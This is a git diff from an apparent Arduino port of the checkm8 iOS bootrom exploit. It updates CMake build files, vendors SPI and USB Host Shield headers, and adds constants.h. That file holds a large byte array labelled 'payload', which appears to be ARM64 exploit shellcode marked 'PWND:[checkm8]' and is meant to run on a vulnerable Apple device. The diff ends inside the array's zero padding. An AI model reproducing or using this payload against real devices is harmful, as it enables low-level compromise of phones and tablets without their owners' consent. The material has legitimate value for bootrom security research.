diff --git a/.gitignore b/.gitignore index 568de19..de20f63 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ .idea/* -cmake-build-debug/* \ No newline at end of file +cmake-build-debug/ +/checkm8_arduino/cmake-build-debug/ diff --git a/checkm8_arduino/CMakeLists.txt b/checkm8_arduino/CMakeLists.txt index bfd4096..d690522 100644 --- a/checkm8_arduino/CMakeLists.txt +++ b/checkm8_arduino/CMakeLists.txt @@ -1,14 +1,18 @@ cmake_minimum_required(VERSION 3.10) set(CMAKE_TOOLCHAIN_FILE ${CMAKE_SOURCE_DIR}/cmake/ArduinoToolchain.cmake) set(CMAKE_CXX_STANDARD 98) -set(PROJECT_NAME checkm8_arduino) +project(checkm8_arduino) -set(${PROJECT_NAME}_BOARD uno) -project(${PROJECT_NAME}) +set(checkm8_arduino_libhostshield_BOARD uno) +set(checkm8_arduino_libhostshield_SRCS lib/hostshield/Usb.cpp lib/hostshield/SPI.cpp) +generate_arduino_library(checkm8_arduino_libhostshield) -set(${PROJECT_NAME}_HDRS include/User_Setup.h) -set(${PROJECT_NAME}_SKETCH src/checkm8_arduino.ino) -set(${PROJECT_NAME}_PROGRAMMER avrispmkii) -set(${PROJECT_NAME}_PORT /dev/ttyACM0) +set(checkm8_arduino_BOARD uno) +set(checkm8_arduino_HDRS include/User_Setup.h include/Usb.h) +set(checkm8_arduino_LIBS checkm8_arduino_libhostshield) +set(checkm8_arduino_SKETCH ${CMAKE_CURRENT_SOURCE_DIR}/src/checkm8_arduino.ino) +set(checkm8_arduino_PROGRAMMER avrispmkii) +set(checkm8_arduino_PORT /dev/ttyACM0) -generate_arduino_firmware(${PROJECT_NAME}) \ No newline at end of file +include_directories(include) +generate_arduino_firmware(checkm8_arduino) \ No newline at end of file diff --git a/checkm8_arduino/cmake/Platform/Arduino.cmake b/checkm8_arduino/cmake/Platform/Arduino.cmake index f2cb101..a841356 100644 --- a/checkm8_arduino/cmake/Platform/Arduino.cmake +++ b/checkm8_arduino/cmake/Platform/Arduino.cmake @@ -880,7 +880,6 @@ function(setup_arduino_core VAR_NAME BOARD_ID) if(NOT TARGET ${CORE_LIB_NAME}) set(BOARD_CORE_PATH ${${BOARD_CORE}.path}) find_sources(CORE_SRCS ${BOARD_CORE_PATH} True) - message("${CORE_SRCS}") # Debian/Ubuntu fix list(REMOVE_ITEM CORE_SRCS "${BOARD_CORE_PATH}/main.cxx") add_library(${CORE_LIB_NAME} ${CORE_SRCS}) diff --git a/checkm8_arduino/include/SPI.h b/checkm8_arduino/include/SPI.h new file mode 100644 index 0000000..ca3f1e9 --- /dev/null +++ b/checkm8_arduino/include/SPI.h @@ -0,0 +1,324 @@ +/* + * Copyright (c) 2010 by Cristian Maglie + * Copyright (c) 2014 by Paul Stoffregen (Transaction API) + * Copyright (c) 2014 by Matthijs Kooijman (SPISettings AVR) + * Copyright (c) 2014 by Andrew J. Kroll (atomicity fixes) + * SPI Master library for arduino. + * + * This file is free software; you can redistribute it and/or modify + * it under the terms of either the GNU General Public License version 2 + * or the GNU Lesser General Public License version 2.1, both as + * published by the Free Software Foundation. + */ + +#ifndef _SPI_H_INCLUDED +#define _SPI_H_INCLUDED + +#include "../../../../../../../../../opt/arduino-1.8.10/hardware/arduino/avr/cores/arduino/Arduino.h" + +// SPI_HAS_TRANSACTION means SPI has beginTransaction(), endTransaction(), +// usingInterrupt(), and SPISetting(clock, bitOrder, dataMode) +#define SPI_HAS_TRANSACTION 1 + +// SPI_HAS_NOTUSINGINTERRUPT means that SPI has notUsingInterrupt() method +#define SPI_HAS_NOTUSINGINTERRUPT 1 + +// SPI_ATOMIC_VERSION means that SPI has atomicity fixes and what version. +// This way when there is a bug fix you can check this define to alert users +// of your code if it uses better version of this library. +// This also implies everything that SPI_HAS_TRANSACTION as documented above is +// available too. +#define SPI_ATOMIC_VERSION 1 + +// Uncomment this line to add detection of mismatched begin/end transactions. +// A mismatch occurs if other libraries fail to use SPI.endTransaction() for +// each SPI.beginTransaction(). Connect an LED to this pin. The LED will turn +// on if any mismatch is ever detected. +//#define SPI_TRANSACTION_MISMATCH_LED 5 + +#ifndef LSBFIRST +#define LSBFIRST 0 +#endif +#ifndef MSBFIRST +#define MSBFIRST 1 +#endif + +#define SPI_CLOCK_DIV4 0x00 +#define SPI_CLOCK_DIV16 0x01 +#define SPI_CLOCK_DIV64 0x02 +#define SPI_CLOCK_DIV128 0x03 +#define SPI_CLOCK_DIV2 0x04 +#define SPI_CLOCK_DIV8 0x05 +#define SPI_CLOCK_DIV32 0x06 + +#define SPI_MODE0 0x00 +#define SPI_MODE1 0x04 +#define SPI_MODE2 0x08 +#define SPI_MODE3 0x0C + +#define SPI_MODE_MASK 0x0C // CPOL = bit 3, CPHA = bit 2 on SPCR +#define SPI_CLOCK_MASK 0x03 // SPR1 = bit 1, SPR0 = bit 0 on SPCR +#define SPI_2XCLOCK_MASK 0x01 // SPI2X = bit 0 on SPSR + +// define SPI_AVR_EIMSK for AVR boards with external interrupt pins +#if defined(EIMSK) + #define SPI_AVR_EIMSK EIMSK +#elif defined(GICR) + #define SPI_AVR_EIMSK GICR +#elif defined(GIMSK) + #define SPI_AVR_EIMSK GIMSK +#endif + +class SPISettings { +public: + SPISettings(uint32_t clock, uint8_t bitOrder, uint8_t dataMode) { + if (__builtin_constant_p(clock)) { + init_AlwaysInline(clock, bitOrder, dataMode); + } else { + init_MightInline(clock, bitOrder, dataMode); + } + } + SPISettings() { + init_AlwaysInline(4000000, MSBFIRST, SPI_MODE0); + } +private: + void init_MightInline(uint32_t clock, uint8_t bitOrder, uint8_t dataMode) { + init_AlwaysInline(clock, bitOrder, dataMode); + } + void init_AlwaysInline(uint32_t clock, uint8_t bitOrder, uint8_t dataMode) + __attribute__((__always_inline__)) { + // Clock settings are defined as follows. Note that this shows SPI2X + // inverted, so the bits form increasing numbers. Also note that + // fosc/64 appears twice + // SPR1 SPR0 ~SPI2X Freq + // 0 0 0 fosc/2 + // 0 0 1 fosc/4 + // 0 1 0 fosc/8 + // 0 1 1 fosc/16 + // 1 0 0 fosc/32 + // 1 0 1 fosc/64 + // 1 1 0 fosc/64 + // 1 1 1 fosc/128 + + // We find the fastest clock that is less than or equal to the + // given clock rate. The clock divider that results in clock_setting + // is 2 ^^ (clock_div + 1). If nothing is slow enough, we'll use the + // slowest (128 == 2 ^^ 7, so clock_div = 6). + uint8_t clockDiv; + + // When the clock is known at compiletime, use this if-then-else + // cascade, which the compiler knows how to completely optimize + // away. When clock is not known, use a loop instead, which generates + // shorter code. + if (__builtin_constant_p(clock)) { + if (clock >= F_CPU / 2) { + clockDiv = 0; + } else if (clock >= F_CPU / 4) { + clockDiv = 1; + } else if (clock >= F_CPU / 8) { + clockDiv = 2; + } else if (clock >= F_CPU / 16) { + clockDiv = 3; + } else if (clock >= F_CPU / 32) { + clockDiv = 4; + } else if (clock >= F_CPU / 64) { + clockDiv = 5; + } else { + clockDiv = 6; + } + } else { + uint32_t clockSetting = F_CPU / 2; + clockDiv = 0; + while (clockDiv < 6 && clock < clockSetting) { + clockSetting /= 2; + clockDiv++; + } + } + + // Compensate for the duplicate fosc/64 + if (clockDiv == 6) + clockDiv = 7; + + // Invert the SPI2X bit + clockDiv ^= 0x1; + + // Pack into the SPISettings class + spcr = _BV(SPE) | _BV(MSTR) | ((bitOrder == LSBFIRST) ? _BV(DORD) : 0) | + (dataMode & SPI_MODE_MASK) | ((clockDiv >> 1) & SPI_CLOCK_MASK); + spsr = clockDiv & SPI_2XCLOCK_MASK; + } + uint8_t spcr; + uint8_t spsr; + friend class SPIClass; +}; + + +class SPIClass { +public: + // Initialize the SPI library + static void begin(); + + // If SPI is used from within an interrupt, this function registers + // that interrupt with the SPI library, so beginTransaction() can + // prevent conflicts. The input interruptNumber is the number used + // with attachInterrupt. If SPI is used from a different interrupt + // (eg, a timer), interruptNumber should be 255. + static void usingInterrupt(uint8_t interruptNumber); + // And this does the opposite. + static void notUsingInterrupt(uint8_t interruptNumber); + // Note: the usingInterrupt and notUsingInterrupt functions should + // not to be called from ISR context or inside a transaction. + // For details see: + // https://github.com/arduino/Arduino/pull/2381 + // https://github.com/arduino/Arduino/pull/2449 + + // Before using SPI.transfer() or asserting chip select pins, + // this function is used to gain exclusive access to the SPI bus + // and configure the correct settings. + inline static void beginTransaction(SPISettings settings) { + if (interruptMode > 0) { + uint8_t sreg = SREG; + noInterrupts(); + + #ifdef SPI_AVR_EIMSK + if (interruptMode == 1) { + interruptSave = SPI_AVR_EIMSK; + SPI_AVR_EIMSK &= ~interruptMask; + SREG = sreg; + } else + #endif + { + interruptSave = sreg; + } + } + + #ifdef SPI_TRANSACTION_MISMATCH_LED + if (inTransactionFlag) { + pinMode(SPI_TRANSACTION_MISMATCH_LED, OUTPUT); + digitalWrite(SPI_TRANSACTION_MISMATCH_LED, HIGH); + } + inTransactionFlag = 1; + #endif + + SPCR = settings.spcr; + SPSR = settings.spsr; + } + + // Write to the SPI bus (MOSI pin) and also receive (MISO pin) + inline static uint8_t transfer(uint8_t data) { + SPDR = data; + /* + * The following NOP introduces a small delay that can prevent the wait + * loop form iterating when running at the maximum speed. This gives + * about 10% more speed, even if it seems counter-intuitive. At lower + * speeds it is unnoticed. + */ + asm volatile("nop"); + while (!(SPSR & _BV(SPIF))) ; // wait + return SPDR; + } + inline static uint16_t transfer16(uint16_t data) { + union { uint16_t val; struct { uint8_t lsb; uint8_t msb; }; } in, out; + in.val = data; + if (!(SPCR & _BV(DORD))) { + SPDR = in.msb; + asm volatile("nop"); // See transfer(uint8_t) function + while (!(SPSR & _BV(SPIF))) ; + out.msb = SPDR; + SPDR = in.lsb; + asm volatile("nop"); + while (!(SPSR & _BV(SPIF))) ; + out.lsb = SPDR; + } else { + SPDR = in.lsb; + asm volatile("nop"); + while (!(SPSR & _BV(SPIF))) ; + out.lsb = SPDR; + SPDR = in.msb; + asm volatile("nop"); + while (!(SPSR & _BV(SPIF))) ; + out.msb = SPDR; + } + return out.val; + } + inline static void transfer(void *buf, size_t count) { + if (count == 0) return; + uint8_t *p = (uint8_t *)buf; + SPDR = *p; + while (--count > 0) { + uint8_t out = *(p + 1); + while (!(SPSR & _BV(SPIF))) ; + uint8_t in = SPDR; + SPDR = out; + *p++ = in; + } + while (!(SPSR & _BV(SPIF))) ; + *p = SPDR; + } + // After performing a group of transfers and releasing the chip select + // signal, this function allows others to access the SPI bus + inline static void endTransaction(void) { + #ifdef SPI_TRANSACTION_MISMATCH_LED + if (!inTransactionFlag) { + pinMode(SPI_TRANSACTION_MISMATCH_LED, OUTPUT); + digitalWrite(SPI_TRANSACTION_MISMATCH_LED, HIGH); + } + inTransactionFlag = 0; + #endif + + if (interruptMode > 0) { + #ifdef SPI_AVR_EIMSK + uint8_t sreg = SREG; + #endif + noInterrupts(); + #ifdef SPI_AVR_EIMSK + if (interruptMode == 1) { + SPI_AVR_EIMSK = interruptSave; + SREG = sreg; + } else + #endif + { + SREG = interruptSave; + } + } + } + + // Disable the SPI bus + static void end(); + + // This function is deprecated. New applications should use + // beginTransaction() to configure SPI settings. + inline static void setBitOrder(uint8_t bitOrder) { + if (bitOrder == LSBFIRST) SPCR |= _BV(DORD); + else SPCR &= ~(_BV(DORD)); + } + // This function is deprecated. New applications should use + // beginTransaction() to configure SPI settings. + inline static void setDataMode(uint8_t dataMode) { + SPCR = (SPCR & ~SPI_MODE_MASK) | dataMode; + } + // This function is deprecated. New applications should use + // beginTransaction() to configure SPI settings. + inline static void setClockDivider(uint8_t clockDiv) { + SPCR = (SPCR & ~SPI_CLOCK_MASK) | (clockDiv & SPI_CLOCK_MASK); + SPSR = (SPSR & ~SPI_2XCLOCK_MASK) | ((clockDiv >> 2) & SPI_2XCLOCK_MASK); + } + // These undocumented functions should not be used. SPI.transfer() + // polls the hardware flag which is automatically cleared as the + // AVR responds to SPI's interrupt + inline static void attachInterrupt() { SPCR |= _BV(SPIE); } + inline static void detachInterrupt() { SPCR &= ~_BV(SPIE); } + +private: + static uint8_t initialized; + static uint8_t interruptMode; // 0=none, 1=mask, 2=global + static uint8_t interruptMask; // which interrupts to mask + static uint8_t interruptSave; // temp storage, to restore state + #ifdef SPI_TRANSACTION_MISMATCH_LED + static uint8_t inTransactionFlag; + #endif +}; + +extern SPIClass SPI; + +#endif diff --git a/checkm8_arduino/include/Usb.h b/checkm8_arduino/include/Usb.h new file mode 100644 index 0000000..a744d5c --- /dev/null +++ b/checkm8_arduino/include/Usb.h @@ -0,0 +1,48 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +/* USB functions */ +#ifndef _usb_h_ +#define _usb_h_ + +// WARNING: Do not change the order of includes, or stuff will break! +#include "/opt/arduino-1.8.10/hardware/tools/avr/avr/include/inttypes.h" +#include "/opt/arduino-1.8.10/hardware/tools/avr/lib/gcc/avr/7.3.0/include/stddef.h" +#include "/opt/arduino-1.8.10/hardware/tools/avr/avr/include/stdio.h" + +// None of these should ever be included by a driver, or a user's sketch. +#include "../lib/hostshield/settings.h" +#include "../lib/hostshield/printhex.h" +#include "../lib/hostshield/message.h" +#include "../lib/hostshield/hexdump.h" +#include "../lib/hostshield/sink_parser.h" +#include "../lib/hostshield/max3421e.h" +#include "../lib/hostshield/address.h" +#include "../lib/hostshield/avrpins.h" +#include "../lib/hostshield/usb_ch9.h" +#include "../lib/hostshield/usbhost.h" +#include "../lib/hostshield/UsbCore.h" +#include "../lib/hostshield/parsetools.h" +#include "../lib/hostshield/confdescparser.h" + +#endif //_usb_h_ diff --git a/checkm8_arduino/include/constants.h b/checkm8_arduino/include/constants.h new file mode 100644 index 0000000..4009ff7 --- /dev/null +++ b/checkm8_arduino/include/constants.h @@ -0,0 +1,255 @@ +#ifndef CHECKM8_ARDUINO_CONSTANTS_H +#define CHECKM8_ARDUINO_CONSTANTS_H + +const uint8_t payload[] PROGMEM = { + 0x13, 0x00, 0x80, 0xd2, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xe0, 0x07, 0x00, 0x58, + 0x00, 0x04, 0x40, 0xa9, 0x02, 0x06, 0x00, 0x10, 0x43, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, + 0x23, 0x10, 0x00, 0xa9, 0x43, 0x10, 0x41, 0xa9, 0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x01, 0xa9, + 0x00, 0x07, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91, 0x01, 0x00, 0x40, 0x39, 0xc1, 0xff, 0xff, 0x35, + 0xa1, 0x05, 0x00, 0x10, 0x22, 0x0c, 0x40, 0xa9, 0x02, 0x0c, 0x00, 0xa9, 0x20, 0x06, 0x00, 0x58, + 0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x3f, 0xd6, 0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x00, 0x39, + 0x40, 0x06, 0x00, 0x58, 0xe1, 0xfc, 0xff, 0x10, 0x42, 0x06, 0x00, 0x58, 0x21, 0x00, 0x02, 0x8b, + 0x02, 0x00, 0x80, 0xd2, 0x23, 0x06, 0x00, 0x58, 0x44, 0x06, 0x00, 0x58, 0x05, 0x60, 0x00, 0x91, + 0x85, 0x00, 0x00, 0xf9, 0x23, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, 0x23, 0x10, 0x41, 0xa9, + 0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x42, 0xa9, 0x03, 0x10, 0x02, 0xa9, 0x23, 0x10, 0x43, 0xa9, + 0x03, 0x10, 0x03, 0xa9, 0x20, 0x7e, 0x0b, 0xd5, 0xbf, 0x3f, 0x03, 0xd5, 0x00, 0x00, 0x01, 0x91, + 0x21, 0x00, 0x01, 0x91, 0x42, 0x00, 0x01, 0x91, 0x5f, 0x00, 0x03, 0xeb, 0x43, 0xfe, 0xff, 0x54, + 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xfd, 0x7b, 0xc1, 0xa8, + 0xc0, 0x03, 0x5f, 0xd6, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, 0x44, 0x3a, 0x5b, 0x63, 0x68, 0x65, 0x63, 0x6b, + 0x6d, 0x38, 0x5d, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x30, 0x8a, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xf8, 0x3c, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0xd1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xda, 0x05, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x47, 0x00, 0x00, 0x58, 0xe0, 0x00, 0x1f, 0xd6, 0xb8, 0xdf, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xfc, 0xff, 0xff, 0x17, 0x20, 0x00, 0x20, 0xd4, 0x02, 0x00, 0x40, 0x79, 0x5f, 0x84, 0x0a, 0x71, + 0x81, 0xff, 0xff, 0x54, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf4, 0x4f, 0xbf, 0xa9, + 0xf3, 0x03, 0x00, 0xaa, 0xf4, 0x0d, 0x00, 0x58, 0xe1, 0xff, 0x9f, 0x52, 0x62, 0x06, 0x40, 0x79, + 0x3f, 0x00, 0x02, 0x6b, 0xe1, 0x04, 0x00, 0x54, 0x80, 0x02, 0x40, 0xf9, 0x61, 0x0d, 0x00, 0x58, + 0x1f, 0x00, 0x01, 0xeb, 0xe1, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x0a, 0x40, 0xf9, + 0x81, 0x0e, 0x40, 0xf9, 0x82, 0x12, 0x40, 0xf9, 0x83, 0x16, 0x40, 0xf9, 0x84, 0x1a, 0x40, 0xf9, + 0x85, 0x1e, 0x40, 0xf9, 0x86, 0x22, 0x40, 0xf9, 0x87, 0x22, 0x40, 0xf9, 0x88, 0x06, 0x40, 0xf9, + 0x00, 0x01, 0x3f, 0xd6, 0xe8, 0x0b, 0x00, 0x58, 0x88, 0x02, 0x00, 0xa9, 0x15, 0x00, 0x00, 0x14, + 0xc1, 0x0b, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, 0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, + 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9, 0x32, 0x00, 0x00, 0x94, 0xa8, 0x0a, 0x00, 0x58, + 0x88, 0x02, 0x00, 0xf9, 0x0b, 0x00, 0x00, 0x14, 0xc1, 0x0a, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, + 0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9, + 0x0e, 0x00, 0x00, 0x94, 0x68, 0x09, 0x00, 0x58, 0x88, 0x02, 0x00, 0xf9, 0x01, 0x00, 0x00, 0x14, + 0x00, 0x10, 0x80, 0x52, 0xe1, 0x03, 0x14, 0xaa, 0x62, 0x0e, 0x40, 0x79, 0x03, 0x00, 0x80, 0xd2, + 0x44, 0x09, 0x00, 0x58, 0x80, 0x00, 0x3f, 0xd6, 0x00, 0x00, 0x80, 0x52, 0xf4, 0x4f, 0xc1, 0xa8, + 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0xe3, 0xc3, 0x00, 0xb2, 0x21, 0x1c, 0x40, 0x92, + 0x21, 0x7c, 0x03, 0x9b, 0xe3, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xa3, 0x00, 0x00, 0x54, + 0x01, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, 0xfb, 0xff, 0xff, 0x17, + 0x5f, 0x10, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91, + 0x42, 0x10, 0x00, 0xd1, 0x5f, 0x08, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, + 0x00, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0x82, 0x00, 0x00, 0xb4, 0x01, 0x00, 0x00, 0xb9, + 0x00, 0x04, 0x00, 0x91, 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x03, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, + 0xe4, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xe3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xf9, + 0x03, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x21, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, + 0xf9, 0xff, 0xff, 0x17, 0x5f, 0x10, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xb9, + 0x03, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91, 0x21, 0x10, 0x00, 0x91, 0x42, 0x10, 0x00, 0xd1, + 0x5f, 0x08, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0x79, 0x03, 0x00, 0x00, 0x79, + 0x00, 0x08, 0x00, 0x91, 0x21, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0xc2, 0x00, 0x00, 0xb4, + 0x23, 0x00, 0x40, 0x39, 0x03, 0x00, 0x00, 0x39, 0x00, 0x04, 0x00, 0x91, 0x21, 0x04, 0x00, 0x91, + 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x04, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, 0x1f, 0x20, 0x03, 0xd5, + 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x63, 0x65, 0x78, 0x65, 0x63, 0x65, 0x78, 0x65, + 0x65, 0x6e, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x64, 0x63, 0x6d, 0x65, 0x6d, 0x63, 0x6d, 0x65, 0x6d, + 0x73, 0x6d, 0x65, 0x6d, 0x73, 0x6d, 0x65, 0x6d, 0x98, 0xdc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa5, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 